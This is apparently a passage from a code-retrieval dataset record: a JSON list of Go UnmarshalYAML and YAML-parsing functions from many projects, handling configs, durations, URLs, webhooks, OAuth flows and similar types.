:= unmarshal(&rawTask)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to unmarshal task: %s\\\", err)\\n\\t}\\n\\n\\trawName, ok := rawTask[\\\"name\\\"]\\n\\tif !ok {\\n\\t\\treturn errors.New(\\\"missing 'name' field\\\")\\n\\t}\\n\\n\\ttaskName, ok := rawName.(string)\\n\\tif !ok || taskName == \\\"\\\" {\\n\\t\\treturn errors.New(\\\"'name' field needs to be a non-empty string\\\")\\n\\t}\\n\\n\\tt.Name = taskName\\n\\n\\t// Delete name field, since it doesn't represent an action\\n\\tdelete(rawTask, \\\"name\\\")\\n\\n\\tfor actionType, action := range rawTask {\\n\\t\\taction, err := actions.UnmarshalAction(actionType, action)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"failed to unmarshal action %q from task %q: %s\\\", actionType, t.Name, err)\\n\\t\\t}\\n\\n\\t\\tt.Actions = append(t.Actions, action)\\n\\t}\\n\\n\\tif len(t.Actions) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"task %q has no actions\\\", t.Name)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar val string\\n\\tif err := unmarshal(&val); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn d.FromString(val)\\n}\",\n \"func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\\n\\tvar root map[string]ZNode\\n\\tvar err = yaml.Unmarshal(yml, &root)\\n\\treturn root, err\\n}\",\n \"func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&d.raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := d.init(); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"verifying YAML data: %s\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = UserGroupAccessString(s)\\n\\treturn err\\n}\",\n \"func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar boolType bool\\n\\tif err := unmarshal(&boolType); err == nil {\\n\\t\\te.External = boolType\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar structType = struct {\\n\\t\\tName string\\n\\t}{}\\n\\tif err := unmarshal(&structType); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif structType.Name != \\\"\\\" {\\n\\t\\te.External = true\\n\\t\\te.Name = structType.Name\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\n\\ttype plain Config\\n\\treturn unmarshal((*plain)(c))\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tvar spec docs.ComponentSpec\\n\\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\tif spec.Plugin {\\n\\t\\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t\\t}\\n\\t\\taliased.Plugin = &pluginNode\\n\\t} else {\\n\\t\\taliased.Plugin = nil\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain TestFileParams\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif s.Size == 0 {\\n\\t\\treturn errors.New(\\\"File 'size' must be defined\\\")\\n\\t}\\n\\tif s.HistogramBucketPush == nil {\\n\\t\\treturn errors.New(\\\"File 'histogram_bucket_push' must be defined\\\")\\n\\t}\\n\\tif s.HistogramBucketPull == nil {\\n\\t\\treturn errors.New(\\\"File 'histogram_bucket_pull' must be defined\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tp, err := ParseEndpoint(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*ep = *p\\n\\treturn nil\\n}\",\n \"func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\\n\\tvar unmarshaled stepUnmarshaller\\n\\tif err := unmarshal(&unmarshaled); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ts.Title = unmarshaled.Title\\n\\ts.Description = unmarshaled.Description\\n\\ts.Vars = unmarshaled.Vars\\n\\ts.Protocol = unmarshaled.Protocol\\n\\ts.Include = unmarshaled.Include\\n\\ts.Ref = unmarshaled.Ref\\n\\ts.Bind = unmarshaled.Bind\\n\\ts.Timeout = unmarshaled.Timeout\\n\\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\\n\\ts.Retry = unmarshaled.Retry\\n\\n\\tp := protocol.Get(s.Protocol)\\n\\tif p == nil {\\n\\t\\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\\n\\t\\t\\treturn errors.Errorf(\\\"unknown protocol: %s\\\", s.Protocol)\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\tif unmarshaled.Request != nil {\\n\\t\\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\ts.Request = invoker\\n\\t}\\n\\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ts.Expect = builder\\n\\n\\treturn nil\\n}\",\n \"func unmarsharlYaml(byteArray []byte) Config {\\n var cfg Config\\n err := yaml.Unmarshal([]byte(byteArray), &cfg)\\n if err != nil {\\n log.Fatalf(\\\"error: %v\\\", err)\\n }\\n return cfg\\n}\",\n \"func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype defaults Options\\n\\tdefaultValues := defaults(*NewOptions())\\n\\n\\tif err := unmarshal(&defaultValues); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*options = Options(defaultValues)\\n\\n\\tif options.SingleLineDisplay {\\n\\t\\toptions.ShowSummaryFooter = false\\n\\t\\toptions.CollapseOnCompletion = false\\n\\t}\\n\\n\\t// the global options must be available when parsing the task yaml (todo: does order matter?)\\n\\tglobalOptions = options\\n\\treturn nil\\n}\",\n \"func (s *MaporColonSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\":\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (c *MailConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain MailConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f *Field) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*f, err = NewField(s)\\n\\treturn err\\n}\",\n \"func (z *Z) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Z struct {\\n\\t\\tS *string `json:\\\"s\\\"`\\n\\t\\tI *int32 `json:\\\"iVal\\\"`\\n\\t}\\n\\tvar dec Z\\n\\tif err := unmarshal(&dec); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif dec.S != nil {\\n\\t\\tz.S = *dec.S\\n\\t}\\n\\tif dec.I != nil {\\n\\t\\tz.I = *dec.I\\n\\t}\\n\\treturn nil\\n}\",\n \"func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate int\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ti.set(candidate)\\n\\treturn nil\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultConfig\\n\\tc.LogsLabels = make(map[string]string)\\n\\ttype plain Config\\n\\treturn unmarshal((*plain)(c))\\n}\",\n \"func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tobj := make(map[string]interface{})\\n\\tif err := unmarshal(&obj); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif value, ok := obj[\\\"authorizationUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.AuthorizationURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"tokenUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.TokenURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"refreshUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.RefreshURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"scopes\\\"]; ok {\\n\\t\\trbytes, err := yaml.Marshal(value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tvalue := map[string]string{}\\n\\t\\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tr.Scopes = value\\n\\t}\\n\\n\\texts := Extensions{}\\n\\tif err := unmarshal(&exts); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif len(exts) > 0 {\\n\\t\\tr.Extensions = exts\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *SlackConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultSlackConfig\\n\\ttype plain SlackConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn checkOverflow(c.XXX, \\\"slack config\\\")\\n}\",\n \"func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\\n\\ttype storeYAML map[string]map[string]entryYAML\\n\\n\\tsy := make(storeYAML, 0)\\n\\n\\terr = unmarshal(&sy)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*s = NewStore()\\n\\tfor groupID, group := range sy {\\n\\t\\tfor entryID, entry := range group {\\n\\t\\t\\tentry.e.setGroup(groupID)\\n\\t\\t\\tif err = s.add(entryID, entry.e); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\\n\\tvar d string\\n\\tif err = value.Decode(&d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// check data format\\n\\tif err := checkDateFormat(d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*date = Date(d)\\n\\treturn nil\\n}\",\n \"func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate float64\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tf.set(candidate)\\n\\treturn nil\\n}\",\n \"func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = UOMString(s)\\n\\treturn err\\n}\",\n \"func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"ParseKind should be a string\\\")\\n\\t}\\n\\tv, ok := _ParseKindNameToValue[s]\\n\\tif !ok {\\n\\t\\treturn fmt.Errorf(\\\"invalid ParseKind %q\\\", s)\\n\\t}\\n\\t*r = v\\n\\treturn nil\\n}\",\n \"func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !LabelName(s).IsValid() {\\n\\t\\treturn fmt.Errorf(\\\"%q is not a valid label name\\\", s)\\n\\t}\\n\\t*ln = LabelName(s)\\n\\treturn nil\\n}\",\n \"func (a *Alias) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&a.AdvancedAliases); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif len(a.AdvancedAliases) != 0 {\\n\\t\\t// Unmarshaled successfully to s.StringSlice, unset s.String, and return.\\n\\t\\ta.StringSliceOrString = StringSliceOrString{}\\n\\t\\treturn nil\\n\\t}\\n\\tif err := a.StringSliceOrString.UnmarshalYAML(value); err != nil {\\n\\t\\treturn errUnmarshalAlias\\n\\t}\\n\\treturn nil\\n}\",\n \"func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif defaultTestLimits != nil {\\n\\t\\t*l = *defaultTestLimits\\n\\t}\\n\\ttype plain TestLimits\\n\\treturn unmarshal((*plain)(l))\\n}\",\n \"func parseYaml(yaml string) (*UnstructuredManifest, error) {\\n\\trawYamlParsed := &map[string]interface{}{}\\n\\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tunstruct := meta_v1_unstruct.Unstructured{}\\n\\terr = unstruct.UnmarshalJSON(rawJSON)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tmanifest := &UnstructuredManifest{\\n\\t\\tunstruct: &unstruct,\\n\\t}\\n\\n\\tlog.Printf(\\\"[DEBUG] %s Unstructed YAML: %+v\\\\n\\\", manifest, manifest.unstruct.UnstructuredContent())\\n\\treturn manifest, nil\\n}\",\n \"func (i *ChannelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = ChannelNameString(s)\\n\\treturn err\\n}\",\n \"func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\\n\\tif value.Kind != yaml.MappingNode {\\n\\t\\treturn errors.New(\\\"expected mapping\\\")\\n\\t}\\n\\n\\tgc.versions = make(map[string]*VersionConfiguration)\\n\\tvar lastId string\\n\\n\\tfor i, c := range value.Content {\\n\\t\\t// Grab identifiers and loop to handle the associated value\\n\\t\\tif i%2 == 0 {\\n\\t\\t\\tlastId = c.Value\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// Handle nested version metadata\\n\\t\\tif c.Kind == yaml.MappingNode {\\n\\t\\t\\tv := NewVersionConfiguration(lastId)\\n\\t\\t\\terr := c.Decode(&v)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrapf(err, \\\"decoding yaml for %q\\\", lastId)\\n\\t\\t\\t}\\n\\n\\t\\t\\tgc.addVersion(lastId, v)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// $payloadType: \\n\\t\\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\\n\\t\\t\\tswitch strings.ToLower(c.Value) {\\n\\t\\t\\tcase string(OmitEmptyProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(OmitEmptyProperties)\\n\\t\\t\\tcase string(ExplicitCollections):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitCollections)\\n\\t\\t\\tcase string(ExplicitProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitProperties)\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn errors.Errorf(\\\"unknown %s value: %s.\\\", payloadTypeTag, c.Value)\\n\\t\\t\\t}\\n\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// No handler for this value, return an error\\n\\t\\treturn errors.Errorf(\\n\\t\\t\\t\\\"group configuration, unexpected yaml value %s: %s (line %d col %d)\\\", lastId, c.Value, c.Line, c.Column)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = InterfaceString(s)\\n\\treturn err\\n}\",\n \"func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype C Scenario\\n\\tnewConfig := (*C)(c)\\n\\tif err := unmarshal(&newConfig); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.Database == nil {\\n\\t\\treturn fmt.Errorf(\\\"Database must not be empty\\\")\\n\\t}\\n\\tif c.Collection == nil {\\n\\t\\treturn fmt.Errorf(\\\"Collection must not be empty\\\")\\n\\t}\\n\\tswitch p := c.Parallel; {\\n\\tcase p == nil:\\n\\t\\tc.Parallel = Int(1)\\n\\tcase *p < 1:\\n\\t\\treturn fmt.Errorf(\\\"Parallel must be greater than or equal to 1\\\")\\n\\tdefault:\\n\\t}\\n\\tswitch s := c.BufferSize; {\\n\\tcase s == nil:\\n\\t\\tc.BufferSize = Int(1000)\\n\\tcase *s < 1:\\n\\t\\treturn fmt.Errorf(\\\"BufferSize must be greater than or equal to 1\\\")\\n\\tdefault:\\n\\t}\\n\\tswitch s := c.Repeat; {\\n\\tcase s == nil:\\n\\t\\tc.Repeat = Int(1)\\n\\tcase *s < 0:\\n\\t\\treturn fmt.Errorf(\\\"Repeat must be greater than or equal to 0\\\")\\n\\tdefault:\\n\\t}\\n\\tif len(c.Queries) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"Queries must not be empty\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar t string\\n\\terr := unmarshal(&t)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\\n\\t\\t*s = val\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"'%s' is not a valid token strategy\\\", t)\\n}\",\n \"func (d *DurationMillis) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate int\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ttc := OfMilliseconds(candidate)\\n\\t*d = tc\\n\\treturn nil\\n}\",\n \"func (c *WebhookConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultWebhookConfig\\n\\ttype plain WebhookConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.URL == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"missing URL in webhook config\\\")\\n\\t}\\n\\treturn checkOverflow(c.XXX, \\\"webhook config\\\")\\n}\",\n \"func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdur, err := ParseDuration(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = dur\\n\\treturn nil\\n}\",\n \"func (r *Rank) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar i uint32\\n\\tif err := unmarshal(&i); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := checkRank(Rank(i)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*r = Rank(i)\\n\\treturn nil\\n}\",\n \"func (u *URL) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\turlp, err := url.Parse(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tu.URL = urlp\\n\\treturn nil\\n}\",\n \"func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\trate, err := ParseRate(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = rate\\n\\treturn nil\\n}\",\n \"func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Alias PortMapping\\n\\taux := &struct {\\n\\t\\tProtocol string `json:\\\"protocol\\\"`\\n\\t\\t*Alias\\n\\t}{\\n\\t\\tAlias: (*Alias)(p),\\n\\t}\\n\\tif err := unmarshal(&aux); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif aux.Protocol != \\\"\\\" {\\n\\t\\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\\n\\t\\tif !ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"unknown protocol value: %s\\\", aux.Protocol)\\n\\t\\t}\\n\\t\\tp.Protocol = PortMappingProtocol(val)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *VictorOpsConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultVictorOpsConfig\\n\\ttype plain VictorOpsConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.APIKey == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"missing API key in VictorOps config\\\")\\n\\t}\\n\\tif c.RoutingKey == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"missing Routing key in VictorOps config\\\")\\n\\t}\\n\\treturn checkOverflow(c.XXX, \\\"victorops config\\\")\\n}\",\n \"func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar v interface{}\\n\\terr := unmarshal(&v)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\td.Duration, err = durationFromInterface(v)\\n\\tif d.Duration < 0 {\\n\\t\\td.Duration *= -1\\n\\t}\\n\\treturn err\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype raw Config\\n\\tvar cfg raw\\n\\tif c.URL.URL != nil {\\n\\t\\t// we used flags to set that value, which already has sane default.\\n\\t\\tcfg = raw(*c)\\n\\t} else {\\n\\t\\t// force sane defaults.\\n\\t\\tcfg = raw{\\n\\t\\t\\tBackoffConfig: util.BackoffConfig{\\n\\t\\t\\t\\tMaxBackoff: 5 * time.Second,\\n\\t\\t\\t\\tMaxRetries: 5,\\n\\t\\t\\t\\tMinBackoff: 100 * time.Millisecond,\\n\\t\\t\\t},\\n\\t\\t\\tBatchSize: 100 * 1024,\\n\\t\\t\\tBatchWait: 1 * time.Second,\\n\\t\\t\\tTimeout: 10 * time.Second,\\n\\t\\t}\\n\\t}\\n\\n\\tif err := unmarshal(&cfg); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*c = Config(cfg)\\n\\treturn nil\\n}\",\n \"func (act *Action) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// creating anonimus struct to avoid recursion\\n\\tvar a struct {\\n\\t\\tName ActionType `yaml:\\\"type\\\"`\\n\\t\\tTimeout time.Duration `yaml:\\\"timeout,omitempty\\\"`\\n\\t\\tOnFail onFailAction `yaml:\\\"on-fail,omitempty\\\"`\\n\\t\\tInterval time.Duration `yaml:\\\"interval,omitempty\\\"`\\n\\t\\tEnabled bool `yaml:\\\"enabled,omitempty\\\"`\\n\\t\\tRecordPending bool `yaml:\\\"record-pending,omitempty\\\"`\\n\\t\\tRole actionRole `yaml:\\\"role,omitempty\\\"`\\n\\t}\\n\\t// setting default\\n\\ta.Name = \\\"defaultName\\\"\\n\\ta.Timeout = 20 * time.Second\\n\\ta.OnFail = of_ignore\\n\\ta.Interval = 20 * time.Second\\n\\ta.Enabled = true\\n\\ta.RecordPending = false\\n\\ta.Role = ar_none\\n\\tif err := unmarshal(&a); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// copying into aim struct fields\\n\\t*act = Action{a.Name, a.Timeout, a.OnFail, a.Interval,\\n\\t\\ta.Enabled, a.RecordPending, a.Role, nil}\\n\\treturn nil\\n}\",\n \"func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&c.AdvancedCount); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif err := c.AdvancedCount.IsValid(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif !c.AdvancedCount.IsEmpty() {\\n\\t\\t// Successfully unmarshalled AdvancedCount fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := unmarshal(&c.Value); err != nil {\\n\\t\\treturn errUnmarshalCountOpts\\n\\t}\\n\\treturn nil\\n}\",\n \"func (p *Package) UnmarshalYAML(value *yaml.Node) error {\\n\\tpkg := &Package{}\\n\\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\\n\\tvar err error // for use in the switch below\\n\\n\\tlog.Trace().Interface(\\\"Node\\\", value).Msg(\\\"Pkg UnmarshalYAML\\\")\\n\\tif value.Tag != \\\"!!map\\\" {\\n\\t\\treturn fmt.Errorf(\\\"unable to unmarshal yaml: value not map (%s)\\\", value.Tag)\\n\\t}\\n\\n\\tfor i, node := range value.Content {\\n\\t\\tlog.Trace().Interface(\\\"node1\\\", node).Msg(\\\"\\\")\\n\\t\\tswitch node.Value {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tpkg.Name = value.Content[i+1].Value\\n\\t\\t\\tif pkg.Name == \\\"\\\" {\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t}\\n\\t\\tcase \\\"version\\\":\\n\\t\\t\\tpkg.Version = value.Content[i+1].Value\\n\\t\\tcase \\\"present\\\":\\n\\t\\t\\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Error().Err(err).Msg(\\\"can't parse installed field\\\")\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tlog.Trace().Interface(\\\"pkg\\\", pkg).Msg(\\\"what's in the box?!?!\\\")\\n\\t*p = *pkg\\n\\n\\treturn nil\\n}\",\n \"func (c *SDConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultSDConfig\\n\\ttype plain SDConfig\\n\\terr := unmarshal((*plain)(c))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif len(c.Files) == 0 {\\n\\t\\treturn errors.New(\\\"file service discovery config must contain at least one path name\\\")\\n\\t}\\n\\tfor _, name := range c.Files {\\n\\t\\tif !patFileSDName.MatchString(name) {\\n\\t\\t\\treturn fmt.Errorf(\\\"path name %q is not valid for file discovery\\\", name)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list 